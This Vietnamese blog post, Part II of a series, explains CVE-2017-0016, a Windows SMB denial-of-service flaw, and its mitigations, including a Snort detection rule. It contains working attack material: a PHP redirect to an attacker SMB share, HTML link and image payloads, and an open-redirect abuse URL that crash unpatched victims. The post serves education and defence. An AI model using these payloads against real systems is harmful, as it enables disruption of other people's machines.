Tìm hiểu về lỗ hổng CVE 2017-0016 (Phần II)
Bài đăng này đã không được cập nhật trong 5 năm
Phần II: Một số phương pháp khai thác lỗ hổng CVE – 2017 – 0016
1. Cơ chế của lỗ hổng
Để truy cập vào tài nguyên được chia sẻ trên máy chủ SMB, client sẽ gửi một thông điệp yêu cầu (SMB2 TREE_CONNECT Request) sau đó server sẽ trả về bằng thông điệp SMB2 TREE_CONNECT Response, client xử lý lưu lượng SMB2 TREE_CONNECT Response trả về thông qua thành phần điều khiển mrxsmb20.sys. Tin tặc có thể lợi dụng để trả về thông điệp độc hại làm cho thành phần mrxsmb20.sys không xử lý được dẫn đến máy bị treo.
Hình 1: Màn hình khi client nhận được TREECONNECT Response đã bị can thiệp
Cụ thể, khi thông điệp TREE_CONNECT Response có thành phần NetBIOS header có độ dài quá 1580 Bytes, thông điệp sẽ gây ra tình trạng DoS tại máy khách. Trong các mẫu gói tin phân tích từ các thử nghiệm tấn công thu được, ta có thể thấy được attacker tạo ra gói tin cho phần NetBIOS header có độ dài lớn bằng cách chèn hàng loạt ký tự “C” vào gói tin [8].
Hình 2: Gói tin TREECONNECT Response đã được chỉnh sửa
2. Một số phương pháp khai thác
Lỗ hổng CVE 2017- 0016 có nhiều phương pháp khai thác, trong báo cáo này nhóm tập chung giới thiệu một số phương pháp khai thác phổ biến mà các tin tặc hay sử dụng để tấn công, dựa theo tài liệu số [9].
2.1 Tấn công chuỗi (Redirect to SMB)
Các bước dưới đây mô tả cách để tấn công 1 hệ thống Windows sử dụng đồng thời lỗ hổng SMB và tấn công chuyển hướng SMB:
Bước 1: Kẻ tấn công chạy phần code PoC trên hệ thống họ đang kiểm soát. Hệ thống mà kẻ tấn công kiểm soát chạy file code PoC(Win10.py) và lắng nghe cổng TCP 445 của SMB.
Hình 3: Kẻ tấn công chạy phần code PoC
Bước 2: Kẻ tấn công cài đặt và chạy 1 web server ở 1 hệ thống nữa.
Bước 3: Kẻ tấn công đặt file PHP "redirect-smb.php" chứa đoạn code dưới ở trên public directory. File PHP này dùng để chuyển hướng đến tấn công SMB.
<?php
header ('location: file://192.168.217.145\a');
exit ();
?>
Hình 4: Nội dung các dòng lệnh trong file redirect-smb.php
Bước 4: Sử dụng Internet Explorer ở hệ thống Windows 10 ở máy nạn nhân để truy cập vào web server của kẻ tấn công, nạn nhân click vào link tương ứng với file “redirect-smb.php”.
Bước 5: Click link này chuyển hướng hệ thống nạn nhân đến SMB server của kẻ tấn công và khởi đầu của việc tấn công DoS.
Hình 6: Các thông báo quá trình gửi các gói tin đến nạn nhân
Vài giây sau, hệ thống Windows 10 của máy nạn nhân gặp sự cố, xuất hiện màn hình xanh (BSOD) và tự động khời động lại.
2.2 Vector tấn công bổ sung
Các nhà nghiên cứu SecureWorks tìm ra vài vector tấn công bổ sung có hiệu quả tương tự cách xâm nhập “chuyển hướng tới SMB” đã nói ở trên:
Cách 1: Sử dụng đoạn code HTML dưới dạng 1 siêu liên kết cho việc khai thác SMB DoS
<html>
<head>
<title>SMB - poc 01 </title>
</head>
<body>
<a href="file://192.168.217.145\a">click here</a>
</body>
</html>
Hình 7: Code html khai thác lỗ hổng
Cách 2: Hiển thị 1 inline image cho việc khai thác SMB DoS.
<html>
<head>
<title>SMB - poc 02 </title>
</head>
<body>
<img src="file://192.168.217.145\a">
</body>
</html>
Hình 8: Inline image khai thác lỗ hổng
Các nhà nghiên cứu SecureWork thử nghiệm trên các trình duyệt thông dụng với các phiên bản tương ứng tại thời điểm đó. Các trình duyệt của Microsoft có thể sử dụng để khai thác. Chrome và Firefox không thành công do mặc định đường dẫn UNC bị tắt.
Bảng 3: Đánh giá một số phiên bản của các trình duyệt trong việc khai thác lỗ hổng
2.3 Tấn công thông qua lỗ hổng ứng dụng web
Các nhà nghiên cứu SecureWorks cũng chỉ ra vector tấn công có thể dược dùng kết hợp với lỗ hổng ứng dụng web the attack vector can be used in combination with web application vulnerabilities.
Cách 1: Sử dụng đoạn code PHP để khai thác DoS sử dụng lỗ hổng “unvalidated redirects”
<?php
$url = $_GET["url"];
header("location: $url");
exit ();
?>
Hình 9: Code php để khai thác lỗ hổng
Cách 2: Sử dụng HTML code để tạo ra 1 liên kết tấn công.
<html>
<head>
<title>SMB - poc 04 </title>
</head>
<body>
<a href="http://192.168.217.1/smb/redirect.php?url=file://192.168.217.145%5ca">Click here</a>
</body>
</html>
Hình 10: Code html tạo liên kết tấn công
Bằng việc truy cập vào liên kết tấn công, Tấn công “Chuyển hướng SMB” được thực hiện.
Hình 11: Liên kết tấn công
Hình dưới (2 hình) biểu thị HTTP request từ trình duyệt và HTTP response từ server. Phần phản hồi chứa phần chuyển hướng đến dịch vụ SMB.
Hình 12: HTTP request từ trình duyệt
Hình 13: HTTP response từ server
Như một hệ quả tất yếu, hệ thống Windows 10 của máy nạn nhân gặp sự cố, xuất hiện màn hình xanh (BSOD) và tự động khởi động lại. Kết quả chứng tỏ rằng lỗ hổng unvalidated redirects có thể được dùng để khai thác SMB DoS. Các lỗ hổng ứng dụng web như cross-site scripting (XSS), HTTP header injection cũng có hiệu quả tương đương, vì link tấn công hoặc chuyển hướng tấn công có thể được đặt vào thông qua việc sử dụng những lỗ hổng đó.
3. Một số biện pháp phòng tránh tạm thời
Người dùng cần nhanh chóng update bản vá tháng 3 năm 2017 của Microsoft thông qua Windows Update ngay khi được phát hành.
-
Với các biện pháp tạm thời, các tổ chức nên cân nhắc chặn các cổng kết nối SMB ra bên ngoài (ports 139/TCP, 445/TCP, 137/UDP, and 138/UDP) từ mạng nội bộ ra mạng bên ngoài.
-
Cân nhắc xây dựng các rule/signature cho các hệ thống firewall, IDS/IPS để ngăn chặn tấn công. Quản trị viên có thể tham khảo rule sau và xây dựng rule cho hệ thống của mình:
alert tcp $EXTERNAL_NET 445 -> $HOME_NET any (sid: 10001515; msg: “SMB Excessive Large Tree Connect Response”; byte_test: 3,>,1000,1; content: “|fe 53 4d 42 40 00|”; offset: 4; depth: 6; content: “|03 00|”; offset: 16; depth:2 ;)
- Thận trọng khi click vào các đường link lạ, không tin cậy. Sử dụng một số trình duyệt được đánh giá an toàn hơn như Chrome hay Firefox thay vì Internet Explorer.
Trên đây là tổng hợp một số phương pháp để khai thác lỗ hổng CVE. Trong phần tiếp theo, mình sẽ sử dụng một trong những cách đã nêu ở trên để tiến hành DEMO tấn công thực tế. Rất mong các bạn đón đọc!
All rights reserved